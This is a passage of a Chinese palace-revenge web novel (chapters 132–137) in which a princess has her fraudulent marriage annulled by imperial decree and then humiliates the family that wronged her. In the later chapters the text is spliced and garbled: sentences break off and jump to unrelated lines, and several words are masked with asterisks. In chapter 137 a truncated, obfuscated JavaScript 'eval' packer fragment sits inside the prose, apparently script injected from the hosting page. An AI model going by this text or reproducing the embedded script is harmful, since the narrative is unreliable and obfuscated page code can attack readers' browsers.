皇上接过来仔细翻阅,微微蹙眉,“说好是和离,你要的撤消婚约,是两回事。” 云筝轻声问道,“您要反悔?” 皇上扬了扬眉,“如果是呢?” 云筝立马瞪眼,“那,我要闹了!” 她大声嚷嚷,“来人,拿一条白绫过来,我要上吊自杀!” 下人们吓在原地,云筝索性随手扯过一条绸缎,往自己脖子上勒。 皇上目瞪口呆,这个小疯子! 接下去,云筝的一波骚操作更是震碎他的三观,惊掉下巴。 第132章 皇上气笑了 云筝一边拿绸缎勒脖子,一边大声嚷嚷,“我要去阎王殿告状,皇上不守信用,出尔反尔,欺负弱女子,让阎王爷把你也拉下来,哼。” “我还要去找皇上的列祖列宗告状,他们的不孝子孙败坏祖先名声,让他们在梦里打你屁股,你不乖。” 她一哭二闹三上吊,把皇上气笑了。 她到底几岁?三岁不能再多了! “锦云,哪学来的不入流招数?不许胡闹。” 他很威严,换了别人都吓死了。 但,云筝不吃这一套,居然往地上一趴,在地上滚来滚去,“我就不,就不。” 不一会儿,就脏兮兮的。 众人都惊呆了,她可是堂堂郡主,怎么一点形象都不在乎? 皇上眼睛都直了,惊掉下巴,一脸的怀疑人生。 md,她好歹是贵女啊,怎么做到随地打滚的?!这还是正常人吗? 从未见过这样的小无赖,超出了他的想象。 不得不说,还挺新鲜的。 这世上,谁敢跟他这么闹?没有人! “这成何体统,快起来,好好说话。” 云筝委屈极了,“你骗我,呜呜,我这就去死,去死!” 她还滚到侍卫脚边,一把抢过侍卫的佩剑,对准自己的脖子。 她的身体摇摇晃晃,双手更是抖个不停,好几次都要划伤自己了。 “我要是死了,你啥都没有了,帝陵也不知啥时能修好,说不定你跟你祖先相聚时还没好呢,你的后继者随便帮你搞搞,你只能住破屋子……” 皇上胆战心惊,生怕她弄假成真。 “行了,朕答应你的事不会变。” 云筝这才扔下佩剑,睁着一双乌黑的眼睛,“真不骗人?” 皇上大开眼界,云筝是真的不要脸,一个女孩子怎么能做到这一步? 唱念做打样样精通,无敌了。 但,就这么妥协,他不要面子的吗? “今日挣的都上交,朕就下旨。” 云筝爬起来,小脸脏乎乎的,伸出二根手指,“二成。” 皇上不干了,“八成。” 云筝加了一支手指,“三成,不能再多了。” 皇上瞪了她一眼,“六成,不许再讨价还价。” “行吧。” 两人谈妥了,皇上神色一肃,“锦云郡主听旨。” 云筝屏住呼吸,微微低头。 皇上严肃的声音在室内响起,“经调查,平西侯府骗婚一事属实,特令,平西侯府江闻舟和锦云郡主云筝的婚约撤消,从此,男婚女嫁,各不相关。” 随着他的话落下,一切尘埃落定,云筝眼眶红了,泪水夺眶而出。 她等这一天,等了十年,整整十年。 无数个日日夜夜,在无尽的黑暗中苦苦挣扎,看不到一丝希望。 如今总算是得偿所愿,真好。 一时之间,悲喜交加,没人能懂她此时的心情。 “谢皇上。” 皇上看着泪流满面的女子,心里一软,这是受了多大委屈啊。 罢了,她还是个小姑娘,跟她计较什么?不就是爱闹吗?她会挣钱呀。 圣旨写好,盖上章,就再无更改的可能,这是要存档的。 云筝接过圣旨,看了又看,满心的欢喜,“皇上,让我去平西侯府颁旨吧。” 她有仇必报,得去狠狠踩一脚。 皇上很无语,她这狗脾气,真的是一言难尽。 云展鹏是怎么教养孩子的? “你气量太小,这样不好。” 云筝眼珠一转,“跟您学的,平西侯老说您心胸狭窄,为了一点小事就恶心他们。” 皇上:…… “去颁旨吧。” 云筝笑眯眯的开口,“谢皇上。” 她擦了擦脸,理了理头发,又是一个水灵灵的大美人。 不过,皇上眼里只有钱,他直勾勾的盯着账本,不敢置信。 “就这点钱?” 云筝数着手指头,“对啊,拍卖的钱都给皇后了,我一文都没拿。” “卖了五百张门票,一共500万,200万上交国库,50万进了您的私库。” “剩下250万,去掉成本,还有200万,一半给了九千岁,那就只有100万了。” “给您六成,那就是60万,加上上次的门票,110万了,我那么辛苦,只挣了40万。” 她列的清清楚楚,绝不糊弄。 皇上微微蹙眉,“给了睿亲王?” 云筝理直气壮的点头,“对啊,他是我的大靠山,得上供。” 皇上不乐意了,“朕不是吗?” “以前是,现在嘛……”云筝满眼的控诉,你做过什么好事,都忘了吗? “出一份力,收一份钱。” 得,她就是小气又记仇,皇上很是无奈,“卖鲜花的钱呢?” 云筝随口道来,“二成返给了表演者,二成打赏下去,二成捐给京城的孤寡老人,二成建了一所小学堂,二成是我的辛苦钱。” 她是面面俱到,谁都没有落下。 皇上阴阳怪气的嘲讽道,“你确实是挺辛苦的。” 云筝才不在乎呢,“谢皇上夸奖。” 皇上默了默,她的脸皮越来越厚了,也是,满地打滚的人啊。 “小学堂是怎么回事?” 云筝不假思索的说道,“为家中用人准备的,识字的,教算术的,教做生意的,把一个目不识丁的人培养成专业人才。” 这不算违制,也不是招揽民心,皇上挑不出什么毛病,“有钱烧的慌。” 云筝淡淡的道,“挣钱太容易了,钱对我来说,只是数字而已,我更享受这挣钱的过程,有趣而又好玩。” 皇上:……!!! 可恶,被装到了。 有钱人实在是太讨厌了。 “把睿亲王叫进来。” 厉无恙一直在外面候旨,慢悠悠的走进来,不动声色的瞥了云筝一眼,眼睛怎么肿了?哭了? “见过皇上。” 皇上劈头盖脸问道,“锦云给了你多少银子?” 厉无恙面无表情的回,“一百万两。” 皇上酸溜溜的说道,“朕才六十。” 厉无恙还不知道他的心思吗?“臣分28万给您,给您凑成88万,大吉大利。” 皇上不是很满意,但,勉强接受。 “春日宴上,你看上了哪家的千金?朕这就给你赐婚。” 云筝立马看了过来,一双被泪水浸湿的眼睛格外明亮。 厉无恙不慌不忙的开口,“有个姑娘被你大儿子摸了身体,又赖上我,一女两嫁,您看?” 皇上愣住了,这人话吗? 随后,他脸色黑了下来,“荒唐,是谁?” 第133章 一坑接着一坑 厉无恙张口就来,“邵阁老的庶长女,邵……” 他卡壳了,云筝抿了抿嘴,“邵元姝。” 皇上冷呵一声,“呵,庶出,还给了一个元字,可见是个没规矩的。” “传朕旨意,邵阁老教女无方,贬官一级。” 云筝睁着一双无辜的眼睛,“才一级?皇上,您对儿子和弟弟,也不过如此嘛。” 皇上都不想跟她说话,她赚钱是厉害,但不懂朝政。 “钟阁老是个能臣。” 最重要的是,钟阁老是从龙老臣,从皇子时就追随他,拥立他登上皇位。 云筝笑眯眯的挖坑,“嗯,是挺能干的,已经开始提前押宝了,只等着侍候新主呢。” 皇上的脸色大变,“别胡说。” 云筝扬了扬下巴,“您问九千岁啊。” 厉无恙将今日发生的事情简单说了,皇上的脸色越来越不好看。 有一就有二,尝到了甜头就想复制一遍啊,该死。 “邵家看中了谁?” “这……”厉无恙向来不掺和夺嫡之事。 云筝轻快的声音响起,“应该是三皇子,他是贵妃所出,身份尊贵,但,临时出了意外,被大皇子摸了身体,她不看好大皇子,索性就将九千岁拉下水。” “兄弟争妻不好听,您也不会同意。但,九千岁是皇叔,辈份高,又得帝宠,能压制住诸皇子,是脱困的最佳选择、” 她不动声色的为厉无恙撇清关系,他是被波及了。 厉无恙没有看她,但嘴角轻轻扬起。 皇上面如沉水,阴沉的可怕。 出了宫门,云筝长长吐出一口气,这破地方真不想来。 一只根骨分明的大手伸过来,掌心托着一个鸡蛋。 云筝愣住了,鸡蛋?“给我吃?” 她不饿呀。 厉无恙神色淡淡的,“拿去,捂眼睛。” 云筝下意识的捂住眼睛,“肿了?很丑吧?” 厉无恙拉下她的手,将滚烫的鸡蛋塞进她手里,“很好看,就是……我更喜欢看你笑,以后都是好日子 。” 双手相触,仿佛世界都变的安静了,只有彼此的心跳声。 云筝看着他的耳朵红的滴血,心里冒出喜悦的小泡泡,扬起一抹灿烂的笑容,“嘻嘻,好看吧?” 厉无恙专注的看着她,“好看!” 两人的脸都悄悄的红了。 邵阁老府,邵元姝眼泪汪汪的,委屈兮兮的靠在生母怀里,别提有多可怜了。 邵阁老没好气的轻斥,“你怎么敢扯上九千岁?“ 兰姨娘护着女儿,“别骂了,她被欺负的那么惨,我可怜的女儿啊。” 邵元姝擦了擦眼泪,“在那种情况下,是最好的选择,大皇子没有胜算,不会有什么好下场。” 胜者为王,败者为寇,她可不想年纪轻轻就送命。 “但九千岁就不一样了,不管哪个皇子上位,都会敬着这位皇叔。” “父亲,您就帮帮我吧,求一道恩旨,就算不能当睿亲王妃,侧妃也行啊。” 她自信满满的表示,“我相信,假以时日,我会是睿亲王府唯一的女主人。” 把正妃干掉,她就能上位了。 兰姨娘拉着邵阁老的衣袖,软软的撒娇,“老爷,您就成全元姝吧,她这些年受了不少委屈, 是我没用,没有让她成为堂堂正正的嫡女。” 邵阁老就吃这一套,“她就是嫡女。” 兰姨娘楚楚可怜的哭诉,“别人可不认,哎,要不然,大皇子二皇子选正妃时,都绕过了她,她心里苦啊。” 邵阁老心软了,“罢了,我就豁出这张老脸求求皇上。” 邵元姝喜笑颜开,“谢父亲,您对真好。” 正室面无表情的看着这一家三口,已经麻木了。 又来了,在府里作妖就算了,还对皇子挑三拣四,真是活腻了。 就在此时,下人急急跑进来了,“老爷,宫中来人了。” “快请。” 是一个太监,一个宫女,两个侍卫。 “皇后懿旨。” 众人齐刷刷的跪下行礼。 “邵阁老之女,邵元姝,赐给大皇子为侍妾。” 邵元姝眼前一黑,没名没份的侍妾?这怎么行? “公公,这是不是搞错了?” “没错。” 所以,她折腾了半天,绕了一个圈子,还是进了大皇子府。 但,不是侧妃,而是低贱的侍妾。 这让心高气傲的邵无姝无法接受,“父亲,帮帮我。” 邵阁老心乱如麻,君臣一场,皇上再怎么着也不该这般折辱他啊。 他的女儿当个侧妃,还是可以的。 难道……他忽然有种不好的预感。 果然,一道圣旨拿出来,“邵阁老教女不严,贬官三级,降为青州知府,择日赴任,钦此。” 得,他辛辛苦苦了一辈子,好不容易爬到内阁,进入权力中枢,却因为一个庶长女,一夜之间被打回原形。 正室反而如释重负,这样也好,总算将祸头子送出去了。 “老爷,皇上有令,您就赶紧准备一下吧,让兰姨娘跟着您前往青州。” 她只想留在京城,远离这对贱人,舒心的过日子。 邵阁老理所当然的吩咐下去,“家里就劳烦你了,元姝的嫁妆多给点,让她傍身。” 纵然被女儿牵连,依旧想为她铺路。 正室眉头微蹙,“一个侍妾要那么多嫁妆何用?抢正妃的风头?扎侧妃的眼?” 邵元姝很不甘心,“母亲,您这是故意不给我嫁妆,您不慈。” 宫人开口说道,“皇后有令,不许带任何东西进府,我们已经备了一身粉色的衣服,邵大小姐换上后,今晚抬进府。” 邵元姝眼泪刷的下来了,她无数次幻想过自己的婚礼,盛大而又隆重,她穿着大红嫁衣,带着大笔嫁妆,风风光光的嫁人。 可,现在,全没了。 兰姨娘心疼坏了,“我府上早备下大红的嫁衣,请几位抬抬手,让孩子穿上大红嫁衣,全了她的体面。” 宫人鄙夷的看着小妾,果然没规矩,“踩着正妃侧妃换她的体面,哪来的脸?赶紧准备,错过时辰,就等着受罚吧。” 当邵元姝哭哭啼啼坐上简陋的小轿,悄无声息被抬进大皇子府,以为够惨了。 但,更惨的是,当晚大皇子没有进她的屋,让她颜面全失。 还没承宠,就失宠了。 府里的下人向来捧高踩低。她的苦日子还在后面呢。 另一边,云筝带着人浩浩荡荡的杀去平西侯府。 前世平西侯府是怎么折辱她,今日悉数还回去! 冲啊! 第134章 欠我的,一笔一笔还回来(上) 平西侯府,餐桌上,一锅散发着香气的鸡汤牢牢吸引了他们的视线。 大家馋的不行,一上桌就疯抢,江闻舟兄弟俩为了一只鸡腿差点大打出手。 江闻月趁机将鸡腿捞到自己碗里,高高兴兴的送到嘴边,好香啊。 没成想,被江闻舟劈手抢过去。 “你一个女孩子吃什么鸡腿?我每天从早忙到晚,累的要死,需要好好补一补。” 他是唯一出去干活的人,虽然没有工钱,但,辛苦啊。 江闻云一把抢过来,往嘴里狂塞,“我是世子,家里除了父亲外,我最大,鸡腿应该归我吃。” 江闻月气哭了,“父亲,母亲,你们评评理啊。” 平西侯看着儿女们为了一只鸡腿闹翻天,心情沉重极了。 “以前你们碰都不碰,嫌肉太肥。” 兄妹三人脸色一僵,不约而同的想起往日的奢侈。 一顿要十八个菜,色香味俱全,食材都是最高档的,只吃最好的,一顿下来要几百两银子。 食不厌精,脍不厌细。 可,现在,在抢一只鸡腿! 江闻舟沉默良久,低头看着平西侯碗里的鸡腿,“父亲,你不想吃吗?那给我吧。” 他飞快的挟走鸡腿,平西侯张了张嘴,欲言又止,他也想吃。 这些日子他四处借债,受尽世态炎凉,看尽别人的脸色,好不容易借到一点银子度日。 下人精简掉,将家里的东西卖的卖,当的当,节衣缩食,事事亲力亲为,总算有了一点样子。 侯夫人眼中闪过一丝悲凉,汲汲营营一辈子,最后却重重摔下来。 “都怪云筝那个贱人,她吃香的喝辣的,锦衣玉食,出尽风头,却害的我们连只鸡都吃不起。” 她早就听说云筝一天入账几百万,挣的盆满钵满,嫉妒的发疯。 江闻月满眼的愤恨,“对,怪她,她那么多钱,分我们一点又怎么了?” 她的首饰衣服都当掉了,只穿着一身布衣,丑死了。 江闻云也将所有的怨恨记在云筝头上,“平西侯府是她的夫家,她给我们花钱天经地义,二哥,你去把人带回来。” 江闻舟脸色不好看,“带不回来。” 江闻月没好气的瞪了他一眼,“真没用。” 语气轻鄙,深深的扎痛了江闻舟的心,以前她可不敢这么跟他说话。 见他脸色变了,侯夫人轻斥,“闻月,不许胡说。” 江闻月还委屈上了,“我难道说错了吗?要不是他没用,拿捏不住云筝,我们怎么会沦落到这种地步?” “当初就应该跟她圆房,生一个孩子,她挣再多的钱也是我们家的。” 平西侯也怪儿子不争气,“你就是不听劝,哎,现在后悔了吧。” 他也后悔了,要是早知道云筝有如此惊人的经商能力,说什么都要好好待她,让她为自家卖命。 江闻舟也暗暗后悔,当时不该太倔强,错过了最好的时机。 “我还有蓁蓁。” 江闻云阴阳怪气的冷笑,“呵呵,她人呢?” 侯夫人眼珠一转,“老爷,你想个办法将云筝骗回府,然后,给她下药,生米煮成熟饭,女人嘛,就会认命……” “轰隆隆。”门被重重推开,一群人闯进来,最前面的是一身红衣的云筝。 她面罩寒霜,“给我下药吗?” 众人一惊,侯夫人的反应极快,赔笑道,“云筝,你听错了,我们正商量着怎么请你过来谈事情呢。” “快坐,一起吃饭,这大鸡腿给你吃。” 云筝瞥了一眼餐桌,嘴角勾起一丝哂笑,前世,他们拿她的嫁妆疯狂挥霍,天天山珍海味,龙肝凤髓吃不停。 可现在,没有了她这个冤大头,连饭都快吃不上。 她故意说道,“平西侯府真的落魄了,穷成这样,怎么好意思请人吃饭?这饭菜给狗都不吃。” 江闻舟恼怒不已,“云筝,你太刻薄……啊,娘,你干嘛打我?” 他捂着脑门,哀怨的看着母亲,侯夫人瞪着他,疯狂使眼色,“你这混账东西,心里明明后悔了,老惦记着云筝,人在面前怎么还嘴硬?” 江闻舟接收到了信号,深吸一口气,露出笑容。 “云筝,我……想跟你好好过日子,以前的事我们就不要再提了,以后,我会做个好夫君,绝不纳二色。” 他还以为这番话能打动云筝,女人嘛,不就求这个吗? 云筝像看一个笑话,有些男人就是这么普通这么自信,“废话少说, 谈什么事?” 平西侯清咳一声,“是这样的,你们成亲这么久了,也该祭拜祠堂,将你的名字写上祖谱。” 侯夫人拍着胸口保证,“云筝,你放心,闻舟只有你一个妻子,叶宜蓁只是一个玩物,没有资格上我们侯府的祖谱。” 说的好像谁稀罕似的。 江闻月比谁都积极,她想要大笔的嫁妆嫁入高门呢。 “二嫂,我们已经把叶宜蓁赶跑了,这家里只有你一个女主人。” 江闻云也不闹了,“我们全府上下都听你的,你说一,我们绝不说二。” 看着这些人讨好的笑脸,云筝心中极为畅快,“哈哈哈,你们也有今日。” 平西侯心里冷嗖嗖的,但笑的格外亲切。“云筝,你回来吧……” 云筝神色一肃,“平西侯,接旨。” 平西侯府诸人齐齐的站起来,纷纷跪倒在地,心中忐忑极了。 圣旨怎么轮到云筝来颁? 云筝拿出圣旨,大声说道,“奉天承运,皇帝诏曰,经调查,平西侯府骗婚一事属实,特令,平西侯府江闻舟和锦云郡主云筝的婚约撤消,从此,男婚女嫁,各不相关,钦此。” 平西侯府诸人目瞪口呆,简直不敢相信自己的耳朵。 不是和离,是撤销婚约,这操作前所未见。 江闻舟猛的抬头,怒目圆瞪,“这不可能,云筝,你居然敢假传圣旨,你疯了吗?” 云筝将圣旨高高举起,“来,看看清楚,这是圣旨。” 江闻舟气极败坏,“假的……” “啪。”一巴掌挥过去,没有防备的江闻舟重重摔在地上,疼的直吸气。 云筝冷冷的看着江家人,大声喝斥,“好大的胆子,无视圣令,这是想造反吗?” 这话一出,带来的禁军侍卫齐刷刷的抽出长剑。 气氛一下子紧张起来。 第135章 欠我的,一笔一笔还回来(中) 平西侯脸色铁青,“这是误会,都别冲动。” 江闻舟的额头砸在桌凳上,疼的厉害,他一抹额头,抹到一手鲜血,气怒攻心,“我没有,你胡说。” 云筝眼神冷冷的,“给我打,只留一口气就行。” 她一声令下,侍卫冲上前狂殴江闻舟,谁拦,就把对方也一块打。 一时之间,只听到江闻舟凄厉的惨叫声。 不一会儿,江闻舟就被打倒在地,全身蜷缩成一团,抱头大声求饶,“别打了,别打了。” 云筝不喊停,就没人停下来。 江家人惊恐不已,瑟瑟发抖,她分明是来寻仇的!好可怕的女人! 侯夫人又害怕又生气,“云筝,你这是仗势欺人。” 昔日,他们平西侯府高高在上,全然没将云筝放在眼里,瞧不起她的出身,又想要她的钱,所以,只想将她哄骗进门,之后,一帖药送她上西天。 可,如今,被他们践踏的人杀了回来,狠狠反杀。 “对,我就仗皇上的势,怎么着?” 她嚣张跋扈,把江家人气的够呛,但,拿她一点办法都没有。 圣旨都让她颁了,说明是皇上默许的,皇上真是老糊涂了。 江闻舟被打的满地打滚,浑身是血,有气无力的哀求,“饶了我吧。” 云筝冷冷的看着他,“知道错了吗?” 江闻舟涕泪齐流,狼狈不堪,“知错了,知错了。” 云筝负手而站,居高临下的看着他,“很好,那给我磕十个响头,给我赔礼道歉。” 江闻舟不敢置信的抬头,“你疯了吗?做梦,我死都不会给你下跪的。” 云筝眼睛都没有眨一下,“继续。” 又是一阵痛殴,江闻舟奄奄一息,感觉要死了,“够了,别打了,我磕,我磕。” 云筝一抬手,众人停了下来。 “敬酒不吃吃罚酒,贱种。” 江家人的脸色奇差,打人就算了,还这么羞辱人。 平西侯板着脸怒斥,“云筝,你这么小气残暴,皇上知道吗?” 云筝微微一笑,“我告诉皇上,你在背后说他坏话,说他……” 她故意顿了顿,表情意味深长。 平西侯不禁急了,“你到底说了什么?” 云筝一本正经的说道,“你说皇上心胸狭窄,不能容人,为了一点小事就恶心平西侯府。” 这都是实话,平西侯是说过,但,只是跟儿子抱怨了两句,她怎么知道的? 他头皮一阵发麻,紧张的满头大汗,“我没有说过,这是馋言。” 他看向那些禁军侍卫和太监,“各位,你们要帮我说句公道话啊。” 一名禁军侍卫神色严肃,“你说过。” 另一个也点头,“对,你不止一次说过,早对皇上不满了。” 这些人都分到了云筝的银子,自然是帮着她说话。 而且,这是小事,平西侯府已经落魄,这辈子估计都难以翻身,踩上一脚怎么了? 平西侯倒抽一口冷气,“你们……都被云筝收买了!云筝,你收买禁军侍卫,这是要造反吗?” 以其人之道,还治其人之身,也拿造反说事。 但,云筝是个女子,而且不是皇室中人,也不是勋贵集团的后代。 “我一个女流之辈,造什么反?皇上起得比鸡早,睡得比狗晚,天天呕心沥血,为国操劳,太苦了,我只想吃喝玩乐。” 她嘴角轻扬,“平西侯,你不会以为上交了丹书铁券,就天下太平了吧?” 平西侯如被惊雷砸中,脸色剧变,“你什么意思?你知道什么?” 他这么紧张啊,看来丹书铁券的秘密不小,云筝若有所思,却没有再继续。 “江闻舟,你跪,还是不跪?” 她要的是,打断他的脊梁,打掉他的骄傲,让他的精神世界彻底崩溃掉。 江闻舟浑身颤抖,咬破了嘴唇,鲜血顺着嘴唇流下来。 他极力的抗拒,但面对强压,不得不屈膝跪下来。 “扑通”一声,他跪在云筝面前,无尽的屈辱如潮水般涌上心头,羞愤欲死。 他从未想到有朝一日,会向一个女子跪下来。 而且,这个女子是他们精心挑选的猎物。 “对不住,全是我的错,我给你磕头。” 头磕下去,一次又一次,足足十次。 每一次都是对他的凌迟,内心渐渐崩溃。 平西侯闭上眼睛,仿佛听到了侯府脊梁被打断的声音。 她折辱的,岂止是江闻舟,是整个平西侯府。 这传出去,平西侯府还有什么颜面见人? 云筝怔怔的看着这一幕,想起前世被一群贱奴强压着跪在江闻舟和叶宜蓁面前的屈辱场景。 他们轻蔑的笑,一脚踩在她手上,硬生生的将她一双手踩断了。 而她痛的死去活来,还要硬撑着,不肯流下一颗眼泪。 一报还一报。 天道好轮回,恶终有报,不信抬头看,上天饶过谁? 这仅仅是个开始,她要亲手毁掉平西侯府,只能那样才能泄她心头之恨。 她环视四周,咦,还差一个人。“叶宜蓁呢?” 她一副找茬的模样,江闻月心思一转,“她在叶府休养。” 云筝愣了一下,“哪个叶府?” 江闻月大声说道,“永安长公主在东城买了一幢五进的大宅,挂的是叶府的牌匾。” 皇上不允许永安长公主开府,只能另辟蹊径。 云筝的眼睛一亮,“江闻舟,你这就不对了,夫妻就该荣辱与共,叶宜蓁舒舒服服的当大小姐,你怎么能一个人吃苦受罪呢?” “去,把她接回来。” 云筝不喊起,江闻舟就一直跪着,“永安长公主不让。” 永安长公主再怎么说,也是皇室中人,失宠了也没人敢冒犯。 毕竟,那是打皇室的脸。 云筝没好气的轻斥,“蠢货,她不让才好呢,你可以带全家搬去住,吃她的喝她的。” “住妻子的陪嫁宅子,吃妻子的喝妻子的,你们江家最擅长呀。” 她的话是难听,但像是打开了一个新世界,众人眼睛都亮了,蠢蠢欲动。 江闻舟咬着牙关,“我不去。” 云筝一拳挥过去,“去,还是不去?” 江闻舟被打中鼻梁,疼的眼泪都下来了,“去!” 云筝收回小手,吹了一口气,“贱骨头,不打就不舒服。” 她兴致勃勃的说道,“走,我送你们过去。” 送人是假,搞事情是真! 小坏蛋! 第136章 欠我的,一笔一笔还回来(下) 一路上平西侯一直盯着云筝的马车眼神闪闪烁烁不知在想什么。他犹豫了很久忽然主动凑过去“锦云郡主我有话要说。”侍卫们拦着他不让他靠近。云筝撩起车帘露出一张艳丽不可方物的脸“让他过来。”平西侯走过去但侍卫们一直盯着他手按在腰间刀柄上。平西侯无心四顾压低声音问道“你刚才说丹书铁券……是什么意思?”云筝嘴角微扬这是套她的话?他急了!她笑意盈盈的开口“你先说说丹书铁券有什么秘密?”平西侯心里一紧 还能顺利出世吗?干什么活?**吗?看着这唯恐天下不乱的女子,平西侯下意识的退后几步,拉开距离。侯夫人一直盯着他们看,等平西侯一回来,就迫不及待的追问,“老爷,你跟那贱丫头说什么?”平西侯面如沉水,“这些年,你有没有觉得叶宜蓁哪里不对劲?”他从不关心后院之事,叶宜蓁鲜少出现在他面前,只围着侯夫人打转,所以,他没有过多关注过。可现在猛然发现,他可能是灯下黑。对面的江闻舟猛的抬头,“什么意思?”侯夫人愣了一下,“没有啊,她乖巧贴心,又孝顺,事事妥帖,除了没钱外,都挺好的。”如今成了长公主之女,永安长公主可不差钱,当年镇南王府百年的家底一半归了她。永安长公主只有叶宜蓁一个女儿,百年后,自然是传给女儿的。所以,必须绑定叶宜蓁,不能让她跑了。平西侯微微蹙眉,“她平时没跟外人接触?”侯夫人仔细回想,“她没有别的爱好,就每个月去皇觉寺烧香,为死去的父母念经祈福。”平西侯心里一跳,“每个月?确定是烧香?”侯夫人奇怪的反问道,“难道不是吗?”一边的江闻舟眼神忽明忽暗,面色不好看。叶府,坐于闹中取静的地段,五进的宅院看着不起眼,但里面极为精致奢华。叶宜蓁半躺在软榻上,眉眼含愁,右腿包着厚厚的纱布,动弹不得。“娘,这大夫还是不管用,一点效果都没有。”永安长公主这些日子搜罗了很多名医,请他们来为叶宜蓁治腿和手。叶宜蓁吃了很多苦头,但见效不大。“我们一一试过去,总会好起来的。”叶宜蓁很暴躁,总是这么说,有个屁用。“真的不能请太医吗?”永安长公主反问道,“你敢用太医的药吗?”叶宜蓁沉默了,是,不敢,太医听令于皇上,而她的腿是被皇上的侍 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卫硬生生捏碎的。“我不想变残废。”永安长公主柔声安抚,“听说,江湖上有一种神奇的药,叫,白玉断续骨,能治愈任何一种断骨,包括在被捏成粉末的骨头。”叶宜蓁迫不及待的问道,“药呢?”“我已经派人去找了,相信,很快会有好消息。”很快?能有多快?叶宜蓁眉头紧皱,脑海里闪过一个身影。“云筝身边有一个鬼医,他有一手惊世骇俗的医术,说不定能治好我。娘,您想办法让鬼医乖乖给我治腿。”永安长公主一听这名字,就头疼的厉害,“云筝?她太难缠了,有钱又有圣宠,对我们有敌意,很难。”叶宜蓁心思飞转,眼神阴恻恻的,“是人就有弱点,她最大的弱点是……”就在此时,下人匆匆跑来,“长公主,平西侯求见。”永安长公主冷哼一声,“不见。”下人匆匆离开,又匆匆折返。“不好了,江二公子跪在大门口,哭求长公主放他妻子回家团聚。”叶宜蓁神色复杂,永安长公主眉头一皱,“这狗东西,越来越不要脸了,把他轰走。”下人小心翼翼的禀道,“左都御史带着手下都来了,在门外守着,还有很多路人围观……”叶宜蓁母女俩闻声色变,不好! 第137章 江闻舟和叶宜蓁之间,只能活一个 永安长公主冷笑一声“本宫就去会会他。”叶宜蓁一把拉住她的衣服神色惴惴“娘。”永安长公主轻拍她的手臂“别心软他不是世子了还被皇上记恨这辈子都不可能翻身。”光是皇上记恨这一条就足以万劫不复。“你值得更好的听我的安排。”叶宜蓁看着永安长公主远去的背影嘴唇紧抿内心挣扎的厉害。半晌后 极度敏感,四处张望,“云筝,怎么哪哪都有你,这不关你的事,滚一边去。”云筝从马车内探出头,大声嚷嚷,“婚姻不是儿戏,就问在场的百姓认不认这桩婚事?”百姓们纷纷点头,“认!都拜过天地,洞过房了,就是夫妻。”永安长公主气的要死,云筝不怀好意啊。“婚书上,写的是江大公子的名字,人早就没有了,这婚事不算……”云筝微微一笑,“就问一句,叶宜蓁跟谁拜的天地,跟谁洞房的?”江闻舟挺了挺胸膛,“是我。”永安长公主说不过啊,又气又恼,“那就和离。”云筝呵呵一笑,做什么春秋大梦。“皇上说了,本朝只有丧偶,没有和离,江闻舟和叶宜蓁之间,只能活一个。”“长公主公然挑战朝廷法度,跟皇上对着干……”永安长公主头皮一阵发麻,又来了。“闭嘴,不许胡说八道。”云筝怎么可能听她的话,还在火上浇油。“叶宜蓁生是平西侯府的媳妇,死是平西侯府的鬼,所以啊,您就别棒打鸳鸯,惹人讨厌了。”渣男贱女,狠狠绑死,不要祸害别人。永安长公主的脸色难看到了极点。江闻舟重重磕了一个响头,伏地不起,“请长公主放我妻子回家。”永安长公主看看他,又看看云筝,有些看不懂,他们怎么会凑到一块?“平西侯府落魄成那样,你养得起她吗?”江闻舟很坦然,“养不起。”“呃?”江闻舟抬起头,“所以,为了感谢您对蓁蓁的爱护,我决定,带着家人一起过来侍候您和蓁蓁。”永安长公主目瞪口呆,怀疑自己的耳朵出了问题,“什么?”云筝笑眯眯的开口,“江闻云,你傻站着干吗?带着弟弟妹妹冲啊。”江闻云被点醒,立马带着一群人冲进去。永安长公主恼怒不已,“云筝,你到底想干什么?”云筝笑吟吟的道,“我这是日行一善,帮他们夫妻团圆,积德呢。”就在此时,叶宜蓁被抬了出来,她坐在椅子上,气色相当不错,一袭漂亮的衣裙,浑身珠翠。她冷冷的看着云筝,嘴上却说的温柔,“多谢弟妹想着我,弟妹也搬进来一起住吧,一家人就要团团圆圆。”她要让云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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左都御史气的直瞪眼锦云郡主这张嘴太要命了。她到底是怎么长大的?怎么就没**?!事已至此他必须表态了“叶宜蓁你毁损圣旨该当何罪。”叶宜蓁又气又委屈“不能怪我要怪就怪云筝她不塞给我就什么事都没有了。”得她还倒打一耙。永安长公主立马附和道“对是云筝故意抱着损毁的心思她才是罪魁祸首。”云筝冷哼一声“不愧是母女一样的不要脸。”“圣旨是在叶宜蓁手里损毁的这是铁的的事实有这么多人证呢别想颠倒黑白。”她狠狠下眼药“叶宜蓁我知道你对皇上极度不满怪他没有偏宠你没有把你高高捧在手掌心宠着但也不能当众挑战皇上的权威啊。”“君王的权威不容任何人挑战。”她太机智了既表了忠心又拉踩了叶宜蓁。左都御史深深的看了她一眼难怪皇上会喜欢她会挣钱还时时不忘表忠心。娘的居然比他还会拍马屁这合理吗?“我会让整个御史台上折**江叶氏嚣张跋扈对皇上不敬永安长公主教女不严不遵皇令。”御史风闻奏事**百官没有抓人的权利。但他们的地位很特殊代表着朝廷的一股****能搞掉任何一个官员。叶宜蓁咬破嘴唇忽然颤颤悠悠的站起来扑通一声跪倒在云筝面前。“云筝我错了不该抢走江闻舟我把他还给你你放过我吧。”她满心的**恨的咬牙切齿却不得不低头。“求求你我再也不跟你争男人了。”她声泪俱下楚楚可怜别提有多凄惨了。人都是同情弱者的看她哭的这么惨忍不住有些心软。江闻舟满眼的心疼上前要扶她“别跪她快起来。”云筝看着这对男女作戏冷不防大声嚷嚷。“江闻舟你费尽心机娶进门的女人嫌弃你又残又穷不要你了。”“或许她已经有了新的对象迫不及待甩掉你这个不中用的废物呢。”什么情深似海假的!她更想看他们反目成仇疯狂互撕。江闻舟浑身一僵怀疑的看着叶宜蓁。叶宜蓁急了“我没有你要相信我。”云筝很是不屑“之前在我面前一口一声闻舟哥哥亲亲夫君生怕别人不知道你们有多恩爱。”“现在呢说不要就不要。”“叶宜蓁我挣钱的速度都追不上你变脸的速度佩服。”这是公然处刑将叶宜蓁当面一套背后一套的虚伪嘴脸都扒了围观者的态度立马有了转变。叶宜蓁快要气晕过去了。江闻舟的脸色奇差“叶宜蓁我们花前月下山盟海誓 